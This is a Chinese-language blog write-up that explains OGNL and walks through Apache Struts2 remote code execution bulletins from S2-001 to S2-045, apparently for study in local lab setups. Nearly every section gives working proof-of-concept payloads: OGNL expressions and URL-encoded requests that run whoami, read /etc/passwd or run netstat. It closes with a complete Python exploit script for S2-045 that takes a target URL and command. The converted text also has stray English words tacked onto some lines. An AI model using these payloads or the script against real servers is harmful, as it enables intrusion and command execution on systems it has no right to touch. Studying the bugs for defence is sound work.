一直都想分析下 Struts2 命令執行系列的的漏洞,可是能力有限,對 java、Struts2 都不熟悉。後來偶然看到 rickgray 的分析文章,嘗試簡單分析,作個記錄 o(╯□╰)o
這是 Struts2 官方的各個版本歷史記錄 Security Bulletins
Struts2 命令執行的緣由都是是經過 Ognl 表達式執行 java 代碼,最終實現命令執行。因此應該須要先了解 ognl 表達式。java

ongl 表達式

下面引用來自 OGNL 設計及使用不當形成的遠程代碼執行漏洞python

OGNL 是 Object-Graph Navigation Language 的縮寫,它是一種功能強大的表達式語言(Expression
Language,簡稱爲 EL),經過它簡單一致的表達式語法,能夠存取對象的任意屬性,調用對象的方法,遍歷整個對象的結構圖,實現字段類型轉化等功能。它使用相同的表達式去存取對象的屬性。
OGNL 三要素:(如下部分摘抄互聯網某處, 我以爲說得好)git

  1. 表達式(Expression)

表達式是整個 OGNL 的核心,全部的 OGNL 操做都是針對表達式的解析後進行的。表達式會規定這次 OGNL 操做到底要幹什麼。咱們能夠看到,在上面的測試中,name、department.name 等都是表達式,表示取 name 或者 department 中的 name 的值。OGNL 支持不少類型的表達式,以後咱們會看到更多。github

  1. 根對象(Root Object)

根對象能夠理解爲 OGNL 的操做對象。在表達式規定了 「幹什麼」 之後,你還須要指定到底「對誰幹」。在上面的測試代碼中,user 就是根對象。這就意味着,咱們須要對 user 這個對象去取 name 這個屬性的值(對 user 這個對象去設置其中的 department 中的 name 屬性值)。web

  1. 上下文環境(Context)

有了表達式和根對象,咱們實際上已經可使用 OGNL 的基本功能。例如,根據表達式對根對象進行取值或者設值工做。不過實際上,在 OGNL 的內部,全部的操做都會在一個特定的環境中運行,這個環境就是 OGNL 的上下文環境(Context)。說得再明白一些,就是這個上下文環境(Context),將規定 OGNL 的操做 「在哪裏幹」。
OGN L 的上下文環境是一個 Map 結構,稱之爲 OgnlContext。上面咱們提到的根對象(Root
Object),事實上也會被加入到上下文環境中去,而且這將做爲一個特殊的變量進行處理,具體就表現爲針對根對象(Root
Object)的存取操做的表達式是不須要增長 #符號進行區分的。數據庫

表達式功能操做清單:express

  1. 1. 基本對象樹的訪問
  2. 對象樹的訪問就是經過使用點號將對象的引用串聯起來進行。
  3. 例如:xxxxxxxx.xxxxxxxx. xxxx. xxxx. xxxx. xxxx
  4. 2. 對容器變量的訪問
  5. 對容器變量的訪問,經過#符號加上表達式進行。
  6. 例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
  7. 3. 使用操做符號
  8. OGNL表達式中能使用的操做符基本跟Java裏的操做符同樣,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操做符以外,還能使用 mod, in, not in等。
  9. 4. 容器、數組、對象
  10. OGNL支持對數組和ArrayList等容器的順序訪問:例如:group.users[0]
  11. 同時,OGNL支持對Map的按鍵值查找:
  12. 例如:#session['mySessionPropKey']
  13. 不只如此,OGNL還支持容器的構造的表達式:
  14. 例如:{"green", "red", "blue"}構造一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構造一個Map
  15. 你也能夠經過任意類對象的構造函數進行對象新建:
  16. 例如:new Java.net.URL("xxxxxx/")
  17. 5. 對靜態方法或變量的訪問
  18. 要引用類的靜態方法和字段,他們的表達方式是同樣的@class@member或者@class@method(args):
  19. 例如:@com.javaeye.core.Resource@ENABLE@com.javaeye.core.Resource@getAllResources
  20. 6. 方法調用
  21. 直接經過相似Java的方法調用方式進行,你甚至能夠傳遞參數:
  22. 例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
  23. 7. 投影和選擇
  24. OGNL支持相似數據庫中的投影(projection 和選擇(selection)。
  25. 投影就是選出集合中每一個元素的相同屬性組成新的集合,相似於關係數據庫的字段操做。投影操做語法爲 collection.{XXX},其中XXX 是這個集合中每一個元素的公共屬性。
  26. 例如:group.userList.{username}將得到某個group中的全部username的列表。
  27. 選擇就是過濾知足selection 條件的集合元素,相似於關係數據庫的紀錄操做。選擇操做的語法爲:collection.{X YYY},其中X 是一個選擇操做符,後面則是選擇用的邏輯表達式。而選擇操做符有三種:
  28. ? 選擇知足條件的全部元素
  29. ^ 選擇知足條件的第一個元素
  30. $ 選擇知足條件的最後一個元素
  31. 例如:group.userList.{? #txxx.xxx != null}將得到某個group中user的name不爲空的user的列表。

因此理論上外部某些參數可以進入 OGNL 流程,那麼能夠執行惡意代碼,並且 Struts2 大量地使用了 OGNL,致使漏洞觸發率大大增長。apache

觸發途徑

經過對一系列的 struts2 的 poc 觀察,通常是經過修改 StaticMethodAccess 或是建立 ProcessBuilder 對象。json

  1. #_memberAccess["allowStaticMethodAccess"]=true // 用來受權容許調用靜態方法
  2. new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start()

但 struts2 增強了 ognl 的驗證,allowStaticMethodAccess 已經變成的 final 屬性,可是任然有方法能夠繞過。

s2-001

官方連接:https://struts.apache.org/docs/s2-001.html

影響版本:Struts 2.0.0 -Struts 2.0.8

修復摘要:數據 re-display 時禁止執行 OGNL 表達式

該漏洞實際上是由於用戶提交表單數據而且驗證失敗時,後端會將用戶以前提交的參數值使用 OGNL 表達式 %{value}
進行解析,而後從新填充到對應的表單數據中。例如註冊或登陸頁面,提交失敗後端通常會默認返回以前提交的數據,因爲後端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析。

Poc:
獲取 tomcat 執行路徑:

  1. %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

獲取 Web 路徑:

  1. %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令執行:

  1. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-007

官方連接:https://struts.apache.org/docs/s2-007.html

影響版本:Struts 2.0.0 - Struts 2.2.3

修復摘要:在轉換的過程當中進行字符過濾

修復補丁:https://fisheye6.atlassian.com/changelog/struts?cs=b4265d369dc29d57a9f2846a85b26598e83f3892

當配置了驗證規則 -validation.xml
時,若類型驗證轉換出錯,後端默認會將用戶提交的表單值經過字符串拼接,而後執行一次 OGNL 表達式解析並返回。例如這裏有一個
UserAction:

  1. (...)
  2. public class UserAction extends ActionSupport {
  3. private Integer age;
  4. private String name;
  5. private String email;
  6. (...)

而後配置有 UserAction-validation.xml:

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE validators PUBLIC
  3. "-//OpenSymphony Group//XWork Validator 1.0//EN"
  4. "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
  5. <validators>
  6. <field name="age">
  7. <field-validator type="int">
  8. <param name="min">1</param>
  9. <param name="max">150</param>
  10. </field-validator>
  11. </field>
  12. </validators>

當用戶提交 age 爲字符串而非整形數值時,後端用代碼拼接 "'"+ value +"'" 而後對其進行 OGNL
表達式解析。要成功利用,只須要找到一個配置了相似驗證規則的表單字段使之轉換出錯,藉助相似 SQLi 注入單引號拼接的方式便可注入任意
OGNL 表達式。

Poc:

  1. ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

s2-008

官方連接:https://struts.apache.org/docs/s2-008.html

影響版本:Struts 2.1.0 - Struts 2.3.1

修復摘要:添加參數名和 Cookie 名白名單 acceptedParamNames = 「[a-zA-Z0-9.][()_’]+」;

S2-008 涉及多個漏洞,Cookie 攔截器錯誤配置可形成 OGNL 表達式執行,可是因爲大多 Web 容器(如 Tomcat)對
Cookie 名稱都有字符限制,一些關鍵字符沒法使用使得這個點顯得比較雞肋。另外一個比較雞肋的點就是在 struts2 應用開啓
devMode 模式後會有多個調試接口可以直接查看對象信息或直接執行命令,正如 kxlzx
所提這種狀況在生產環境中幾乎不可能存在,所以就變得很雞肋的,但我認爲也不是絕對的,萬一被黑了專門丟了一個開啓了 debug
模式的應用到服務器上做爲後門也是有可能的。

例如在 devMode 模式下直接添加參數 ?debug=command&expression= 會直接執行後面的
OGNL 表達式,所以能夠直接執行命令(注意轉義):

Poc:

  1. http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29)

s2-012

官方連接:https://struts.apache.org/docs/s2-012.html

影響版本:Struts 2.0.0 - Struts 2。3.13

修復摘要:默認禁用 OGNLUtil 類的 OGNL 表達式執行

若是在配置 Action 中 Result 時使用了重定向類型,而且還使用 ${param_name} 做爲重定向變量,例如:

/index.jsp?name=${name}
/index.jsp /index.jsp 這裏
UserAction 中定義有一個 name 變量,當觸發 redirect 類型返回時,Struts2 獲取使用 ${name}
獲取其值,在這個過程當中會對 name 參數的值執行 OGNL 表達式解析,從而能夠插入任意 OGNL 表達式致使命令執行

Poc:

  1. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-013/s2-014

官方連接:https://struts.apache.org/docs/s2-013.html,
https://struts.apache.org/docs/s2-014.html

影響版本:Struts 2.0.0 - Struts 2.3.14 (Struts 2.3.14.1)

修復摘要:在對標籤進行請求參數操做時禁用 OGNL 表達式解析 Struts2 標籤中 <s:a> 和 <s:url> 都包含一個
includeParams 屬性,其值可設置爲 none,get 或 all,參考官方其對應意義以下:

none - 連接不包含請求的任意參數值(默認) get - 連接只包含 GET 請求中的參數和其值 all - 連接包含 GET 和
POST 全部參數和其值 若設置了 includeParams="get" 或者
includeParams="all",在獲取對應類型參數時後端會對參數值進行 OGNL 表達式解析,所以能夠插入任意 OGNL
表達式致使命令執行

Poc:

  1. ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new
  2. java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new
  3. char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
  4. // 或
  5. ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}

如:

  1. http://localhost:8080/S2-013/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

S2-014 是對 S2-013 修復的增強,在 S2-013 修復的代碼中忽略了 ${ognl_exp} OGNL 表達式執行的方式,所以
S2-014 是對其的補丁增強。

  1. http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

s2-015

官方連接:https://struts.apache.org/docs/s2-015.html

影響版本:Struts 2.0.0 - Struts 2.3.14.2

修復摘要:針對 Action 名稱進行默認字符限制 [a-z][A-Z][0-9][.-_!/] 漏洞產生於配置了 Action 通配符
*,並將其做爲動態值時,解析時會將其內容執行 OGNL 表達式,例如:

/{1}.jsp
上述配置能讓咱們訪問 name.action 時使用 name.jsp
來渲染頁面,可是在提取 name 並解析時,對其執行了 OGNL 表達式解析,因此致使命令執行。在實踐復現的時候發現,因爲 name
值的位置比較特殊,一些特殊的字符如 / " 
都沒法使用(轉義也不行),因此在利用該點進行遠程命令執行時一些帶有路徑的命令可能沒法執行成功。

還有須要說明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新內容中,刪除了
SecurityMemberAccess 類中的 setAllowStaticMethodAccess 方法,所以在 2.3.14.2
版本之後都不能直接經過 #_memberAccess['allowStaticMethodAccess']=true
來修改其值達到重獲靜態方法調用的能力。

這裏爲了到達執行命令的目的能夠用 kxlzx 提到的調用動態方法 (new
java.lang.ProcessBuilder('calc')).start() 來解決,另外還能夠藉助 Java 反射機制去間> 接修改:
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

Poc:

  1. http://localhost:8080/S2-015/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action

s2-16

官方連接:https://struts.apache.org/docs/s2-016.html

影響版本:Struts 2.0.0 - Struts 2.3.15

修復摘要:刪除 「action:」,」redirect:」,」redirectAction:」 這些前置前綴調用
DefaultActionMapper 類支持以 action:,redirect: 和 redirectAction:
做爲訪問前綴,前綴後面能夠跟 OGNL 表達式,因爲 Struts2 未對其進行過濾,致使任意 Action 可使用這些前綴執行任意
OGNL 表達式,從而致使任意命令執行,經測試發現 redirect: 和 redirectAction:
這兩個前綴比較好容易構造出命令執行的 Payload(轉義後)

Poc:

  1. http://localhost:8080/S2-016/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%7D

s2-019

官方連接:http://struts.apache.org/docs/s2-019.html

影響版本: Struts 2.0.0 - Struts 2.3.15.1

由於開啓了開發者模式,傳入 debug=command&expression = 致使執行 OGNL 表達式,從而形成命令執行漏洞。

Poc:
獲取 web 目錄:

  1. http://localhost:8080/S2-019/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

s2-029

官方連接:https://struts.apache.org/docs/s2-029.html

影響版本:Struts 2.0.0 - Struts 2.3.16

修復摘要:限制傳入標籤屬性的值,對其進行合規的正則驗證 簡單的說就是當開發者在模版中使用了相似以下的標籤寫法時,後端 Struts2
處理時會致使二次 OGNL 表達式執行的狀況:

<s:textfield name="%{message}"></s:textfield> 這裏須要注意的是,僅當只有 name
屬性這樣寫的狀況下才能觸發 OGNL 表達式執行,而且該標籤中不能顯示寫有 value
屬性。詳細分析可參考天融信阿爾法實驗室的張萌所寫的《struts2 漏洞 s2-029 分析》

到 S2-029 這裏是,Struts2 已經增長了至關多的安全檢測了,因此想要直接執行命令還須要通
過修改這些安全參數來繞過最後的執行檢測,具體的安全參數版本差別一樣可參考上面的詳細分析文章。

Poc:

  1. http://localhost:8080/S2-029/default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

s2-032

官方連接:https://struts.apache.org/docs/s2-032.html

影響版本:Struts 2.3.20 - Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

修復摘要:過濾經過 method: 傳入的 action 名稱,限制其字符範圍 protected Pattern
allowedActionNames = Pattern.compile(「[a-zA-Z0-9._!/-]*」); 在配置了
Struts2 DMI 爲 True 的狀況下,可使用 method: Action 前綴去調用聲明爲 public
的函數,DMI 的相關使用方法可參考官方介紹(Dynamic Method Invocation),這個 DMI
的調用特性其實一直存在,只不過在低版本中 Strtus2 不會對 name 方法值作 OGNL
計算,而在高版本中會,代碼詳情可參考阿爾法實驗室的報告 - 《Apache Struts2 s2-032 技術分析及漏洞檢測腳本》

要成功利用必需要開 DMI 才能夠:


找到目標應用有效的 Action 例如 index.action,那麼直接使用 DMI 在 method: 後面帶上須要執行 OGNL 表達式便可(注意轉義)

Poc:
獲取 web 目錄:

  1. http://localhost:8080/S2-032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=web&path=path%3a

命令執行:

  1. http://localhost:8080/S2-032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

s2-devMode

影響:Struts 2.1.0--2.5.1

當 Struts2 開啓 devMode 模式時,將致使嚴重遠程代碼執行漏洞。若是 WebService 啓動權限爲最高權限時,可遠程執行任意命令,包括關機、創建新用戶、以及刪除服務器上全部文件等等。

Poc:

  1. http://localhost:8080/S2-devMode/orders/3/?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=netstat -ano

S2-045

官方連接:http://struts.apache.org/docs/s2-045.html

影響版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

經過 Content-Type 這個 header 頭,注入 OGNL 語言,進而執行命令。

Poc:

  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import urllib2
  4. import httplib
  5. def exploit(url, cmd):
  6. payload = "%{(#_='multipart/form-data')."
  7. payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
  8. payload += "(#_memberAccess?"
  9. payload += "(#_memberAccess=#dm):"
  10. payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
  11. payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
  12. payload += "(#ognlUtil.getExcludedPackageNames().clear())."
  13. payload += "(#ognlUtil.getExcludedClasses().clear())."
  14. payload += "(#context.setMemberAccess(#dm))))."
  15. payload += "(#cmd='%s')." % cmd
  16. payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
  17. payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
  18. payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
  19. payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
  20. payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
  21. payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
  22. payload += "(#ros.flush())}"
  23. try:
  24. headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
  25. request = urllib2.Request(url, headers=headers)
  26. page = urllib2.urlopen(request).read()
  27. except httplib.IncompleteRead, e:
  28. page = e.partial
  29. print(page)
  30. return page
  31. if __name__ == '__main__':
  32. import sys
  33. if len(sys.argv) != 3:
  34. print("[*] struts2_S2-045.py <url> <cmd>")
  35. else:
  36. print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
  37. url = sys.argv[1]
  38. cmd = sys.argv[2]
  39. print("[*] cmd: %s\n" % cmd)
  40. exploit(url, cmd)

參考

  1. Struts2 歷史 RCE 漏洞回顧不徹底系列
  2. Struts2 命令執行集合
  3. vulhub
  4. VulApps